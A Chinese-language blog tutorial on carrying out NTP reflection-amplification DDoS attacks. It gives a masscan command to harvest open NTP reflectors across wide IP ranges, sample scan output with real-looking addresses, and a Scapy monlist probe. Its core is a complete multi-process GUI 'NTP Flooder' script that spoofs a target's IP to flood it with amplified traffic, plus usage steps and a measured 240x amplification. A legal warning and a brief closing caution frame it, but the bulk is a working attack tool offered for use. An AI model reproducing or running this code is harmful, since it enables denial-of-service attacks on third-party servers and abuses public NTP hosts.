【教程】如何DDOS攻击
中华人民共和国刑法》第二百八十六条【破坏计算机信息系统罪;网络服务渎职罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。故意制作、传播计算机病毒等破坏
敬告:
《中华人民共和国刑法》第二百八十六条【破坏计算机信息系统罪;网络服务渎职罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。
一、DDos攻击方式的选择?
DDos攻击,通常指使用大量网络设备,向某个指定主机发送大量无用的数据包,阻塞其网络,使得正常的数据包无法稳定传输,而达到拒绝服务的一种攻击方式。
1. DDos的分类:
总体分类来看,DDOS可以分为三类:
- 直接攻击型(往往需要大量僵尸主机,与我们的目标-低成本DDOS背道而驰)
- 反射型(虽然不需要大量僵尸网络,也可以隐藏真实ip,但是却无法放大流量)
- 反射放大型(在反射的基础之上增加放大,威力加倍)
2. 放大型DDos的步骤:
以此来看呢,很明显,反射放大型DDOS是性价比最高的DDOS攻击。放大型DDos具体的原理非常简单,大致分为四个步骤:
- 攻击者将有欺骗性 IP 地址的 UDP 数据包发送到反射服务器。数据包上的欺骗性地址指向受害者的真实 IP 地址。
- 每个 UDP 数据包都向反射服务器发出请求,通常是基于某个协议,以接收尽可能最大的响应。
- 反射服务器收到请求后,会向欺骗性 IP 地址发送较大的响应。
目标的 IP 地址接收响应,其周边的网络基础设施被大量流量淹没,从而导致拒绝服务。达到四两拨千斤的攻击效果。
在反射放大型DDos的实际操作过程中,有许多协议都可以利用,其中较为著名的有DNS放大,SSDP放大,NTP放大等。放大倍率如下:
协议 | 端口 | 理论放大倍数 |
DNS | 53 | 28~54 |
NTP | 123 | 556.9 |
SNMP | 161 | 6.3 |
SSDP | 1900 | 30.8 |
PОRTMAP | 111 | 7~28 |
QOTD | 17 | 140.3 |
CHARGEN | 19 | 358.8 |
TFTP | 69 | 60 |
NETBIOS | 138 | 3.8 |
MEMCACHED | 11211 | 10000~50000 |
WS_DISCOVERY | 3702 | 70~500 |
CLDAP | 389 | 56~70 |
可见,其中放大倍率最高的攻击为MEMCACHED协议。然而,MEMCACHAED放大DDOS已经被几乎完全修复。
因此,本文中我将带领大家实现NTP型DDos(也是目前被黑客最广泛应用的DDos方式之一)。
二、NTP协议的漏洞?
首先,我们具体分析一下NTP协议:
NTP协议中,包含一个MONLIST功能,该功能的初衷是用于监控NTP服务器。客户端可以构建一个90字节的Mongetlist数据包发送给NTP服务器。然后服务器接收到monlist请求后,就会响应100个数据包,每个数据包482字节。
三、理论验证?
1. 收集反射源:
因此说,想要实现NTP型DDos,就必须收集反射服务器,也就是查找开放123端口的主机。扫描主机时,我们可以使用masscan高速互联网端口扫描软件。在Kail linux系统中输入以下命令就可以扫描。
sudo masscan -pU:123 -oX ntp.xml --rate 160000 110.0.0.0-124.0.0.0
这个命令的大致意思是:
- -Pu:123(使用UDP协议扫描端口123)
- -oX ntp.xml(输出文件,文件格式为xml,输出目标为ntp.xml)
- --rate 160000(扫描速度为每秒160000个数据包,带宽越大,这个数字就可以填写的越大)
- 110.0.0.0-124.0.0.0(扫描的ip网段,扫描全网时间太久)
<?xml version="1.0"?>
<!-- masscan v1.0 scan -->
<nmaprun scanner="masscan" start="1729074937" version="1.0-BETA" xmloutputversion="1.03">
<scaninfo type="syn" protocol="tcp" />
<host endtime="1729074937"><address addr="111.87.65.18" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729075703"><address addr="119.195.171.9" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729076264"><address addr="121.247.27.190" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729076270"><address addr="116.147.121.133" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729078039"><address addr="113.111.104.235" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729079781"><address addr="113.111.128.34" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
...
<host endtime="1729080374"><address addr="119.172.95.233" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729082019"><address addr="120.204.117.76" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729083980"><address addr="123.119.8.68" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729086213"><address addr="115.140.209.102" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729086373"><address addr="114.252.232.105" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729090630"><address addr="122.222.248.16" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
2. 验证反射源:
接下来我们随便从中选择一个ip,用Python的Scapy发送一个MONGETLIST请求,看看会不会响应:
from scapy.all import *
data = "\x17\x00\x03\x2a" + "\x00" * 44 # NTP monlist packet
packet = IP(dst="103.97.200.65") / UDP(sport=22333, dport=123) / Raw(load=data)
send(packet)
这里我们首先构建一个data数据包,其中的数据就是一个monlist的请求。接下来我们可以使用Wireshark来监听我们自己的端口22333,来检查NTP服务器是否响应了我们的请求。
可见我们的主机发送了一个90字节的请求后,NTP服务器立马响应了100个数据包,每个数据包都是482个字节。
至此,我们的理论验证没有问题。
四、编写最终脚本
1. 测试用的脚本:
接下来我们完善一下发送数据包的脚本,增加一个UI面板,同时实现多线程同时发包。这样就能测试在反复发包时候的流量倍率了。
import base64
import tkinter as tk
from collections import Counter
from multiprocessing import Process, Value, freeze_support
from tkinter import filedialog, messagebox, scrolledtext
import threading
import time
from scapy.all import *
from logo import *
sending = Value('i', 0)
def stop_filter(stop_event):
return stop_event.is_set()
def sniffer(collected_ips, all_packets, stop_event, adepter):
# Sniffs incoming network traffic on UDP port 123
sniff(filter="udp port 123", store=0, prn=lambda p: analyser(p, collected_ips, all_packets),
iface="WLAN", stop_filter=lambda x: stop_filter(stop_event))
def analyser(packet, collected_ips, all_packets):
if len(packet) > 200 and packet.haslayer(IP):
ip_src = packet.getlayer(IP).src
all_packets.append(ip_src)
if ip_src not in collected_ips:
collected_ips.append(ip_src)
def get_available_monlist_servers(monlist_path, scantimes=2, fliter_magnification='1', adepter="WLAN", scandelay=0.02):
collected_ips = [] # List to store collected IPs
all_packets = []
stop_event = threading.Event() # Create a stop event
# Start the sniffer thread
sniffer_thread = threading.Thread(target=sniffer, args=(collected_ips, all_packets, stop_event, adepter))
sniffer_thread.start()
# Send packets to each address from the monlist file
for i in range(scantimes):
with open(monlist_path, 'r', encoding='utf-8') as logfile:
for address in logfile:
address = address.strip()
send(IP(dst=address) / UDP(sport=123, dport=123) / Raw(load=b"\x10\x00\x03\x20" + b"\x00" * 44),
verbose=0, iface=adepter)
time.sleep(scandelay)
time.sleep(5)
# Set the stop event to signal the sniffer to stop
stop_event.set()
# send a packet to trigger the stop event
send(IP(dst="127.0.0.1") / UDP(sport=123, dport=123) / Raw(load="shutdown"), iface=adepter, verbose=0)
# Wait for the sniffer thread to finish
sniffer_thread.join()
count = Counter(all_packets)
# 排序完成
# 筛选出发包次数较多的反弹服务器
if fliter_magnification == 'disable':
sorted_count = list(dict(sorted(count.items(), key=lambda item: item[1], reverse=True)).keys())
return sorted_count, sorted_count
result = list(dict(
sorted(((key, value) for key, value in count.items() if value > int(fliter_magnification) * scantimes),
key=lambda item: item[1], reverse=True)).keys())
return result, result # Return the collected IPs list
def send_packets_(text, target_ip, target_port, sending, adepter):
ntp_servers = text.split('\n')
if target_port == 'random':
while sending.value:
mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(1, 65535), dport=123) / Raw(
load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
send(mpacket, verbose=0, iface=adepter)
elif '-' in target_port:
ports = target_port.split('-')
print(ports)
while sending.value:
mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(int(ports[0]), int(ports[1])),
dport=123) / Raw(
load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
send(mpacket, verbose=0, iface=adepter)
else:
mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=int(target_port), dport=123) / Raw(
load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
while sending.value:
send(mpacket, verbose=0, iface=adepter)
class PacketSenderApp:
def __init__(self, master):
self.master = master
self.master.title("NTP Flooder")
# Variables
self.scandelay = tk.DoubleVar(value=0.02)
self.scantimes = tk.IntVar(value=2)
self.adepter = tk.StringVar(value='WLAN')
self.monlist_path = tk.StringVar()
self.target_ip = tk.StringVar(value = get_if_addr('WLAN'))
self.process_count = tk.IntVar(value=1)
self.target_port = tk.StringVar(value='random')
self.check_servers = tk.BooleanVar()
self.magnification = tk.StringVar(value='disable')
# UI Elements
tk.Label(master, text="Monlist File:").grid(row=0, column=0)
tk.Entry(master, textvariable=self.monlist_path).grid(row=0, column=1)
tk.Button(master, text="Browse", command=self.browse_monlist).grid(row=0, column=2)
tk.Label(master, text="Target IP:").grid(row=1, column=0)
tk.Entry(master, textvariable=self.target_ip).grid(row=1, column=1)
tk.Label(master, text="Target port:").grid(row=2, column=0)
tk.Entry(master, textvariable=self.target_port).grid(row=2, column=1)
tk.Label(master, text="Process Count:").grid(row=3, column=0)
tk.Entry(master, textvariable=self.process_count).grid(row=3, column=1)
self.start_button = tk.Button(master, text="Start Sending", command=self.start_stop_sending)
self.start_button.grid(row=4, columnspan=3)
self.check_button = tk.Button(master, text="Check Available Servers", command=self.check_available_servers)
self.check_button.grid(row=5, columnspan=3)
# 文本框:显示可用的 NTP 服务器
self.server_text = scrolledtext.ScrolledText(master, width=40, height=10)
self.server_text.grid(row=6, columnspan=3)
tk.Label(master, text="Magnification filter:").grid(row=7, column=0)
tk.Entry(master, textvariable=self.magnification).grid(row=7, column=1)
tk.Label(master, text="Net Adepter").grid(row=8, column=0)
tk.Entry(master, textvariable=self.adepter).grid(row=8, column=1)
tk.Label(master, text="Scan times").grid(row=9, column=0)
tk.Entry(master, textvariable=self.scantimes).grid(row=9, column=1)
tk.Label(master, text="Scan Delay(s)").grid(row=10, column=0)
tk.Entry(master, textvariable=self.scandelay).grid(row=10, column=1)
self.is_sending = 0
self.master.protocol("WM_DELETE_WINDOW", self.on_closing)
def on_closing(self):
if self.is_sending:
if messagebox.askyesno("Confirm", "Packets are currently being sent. Do you really want to exit?"):
self.is_sending = 0
sending.value = 0
self.master.destroy() # 关闭窗口
else:
self.master.destroy() # 直接关闭窗口
def browse_monlist(self):
file_path = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
self.monlist_path.set(file_path)
if not os.path.exists(self.monlist_path.get()):
return
with open(file_path, 'r', encoding='utf-8') as f:
self.server_text.delete(1.0, tk.END)
self.server_text.insert(tk.END, f.read())
def start_stop_sending(self):
if not self.is_sending:
process_count = self.process_count.get()
self.is_sending = 1
self.start_button.config(text="Stop Sending")
text = self.server_text.get(1.0, tk.END)
target_ip = self.target_ip.get()
target_port = self.target_port.get()
sending.value = 1
for i in range(process_count):
Process(target=send_packets_, args=(text, target_ip, target_port, sending, self.adepter.get())).start()
else:
self.is_sending = 0
sending.value = 0
self.start_button.config(text="Start Sending")
def check_available_servers(self):
monlist_path = self.monlist_path.get()
_, servers = get_available_monlist_servers(monlist_path, fliter_magnification=self.magnification.get(),
adepter=self.adepter.get(), scandelay=self.scandelay.get(),
scantimes=self.scantimes.get()) # 假设这个函数返回可用的服务器列表
self.server_text.delete(1.0, tk.END) # 清空文本框
for server in servers:
self.server_text.insert(tk.END, f"{server}\n") # 在文本框中添加可用服务器
return servers
if __name__ == "__main__":
freeze_support()
root = tk.Tk()
icon = open("gui_icon.ico", "wb+")
icon.write(base64.b64decode(img)) # 写入到临时文件中
icon.close()
root.iconbitmap("gui_icon.ico")
os.remove("gui_icon.ico")
app = PacketSenderApp(root)
root.mainloop()
直接运行代码
2. 脚本的使用方法:
这个脚本的使用方法非常简单:
- 在输入框中输入可用的反射源(NTP服务器),或者从txt文件中加载。
- 输入目标ip(这里我输入我自己的ip,这样就可以监控返回的流量)
- 输入目标端口(NTP端口123)
- 输入线程数,线程越多,威力越大,但是需要更强的网卡和CPU(我这里输入1,是因为我主要用于测试反射放大倍率)
- 点击“start sending”开始udp洪水
3. 测试DDos的流量:
我们接下来在任务管理器里监听一下网卡的流量:
可见发包流量在500Kbps时,返回的数据流量达到了120Mbps。做一个简单的除法就能得到其放大倍率是240倍。虽然没有达到理论的500倍放大,但依然是很强的流量了
依照这样计算,攻击者就算使用普通的家庭宽带服务,100兆的上传流量,就可以打出2400兆的攻击流量。对于一些国内的低带宽服务器,完全是碾压式的攻击。在把受害者所有的上行流量占满后,任何流量清洗或防火墙都是纸糊的装甲。
至此,我们复现NTP型DDos就算圆满完成了。但是这里还是要提醒大家,请勿攻击他人的设备或服务器,否则都将会受到法律的制裁。
更多推荐
所有评论(0)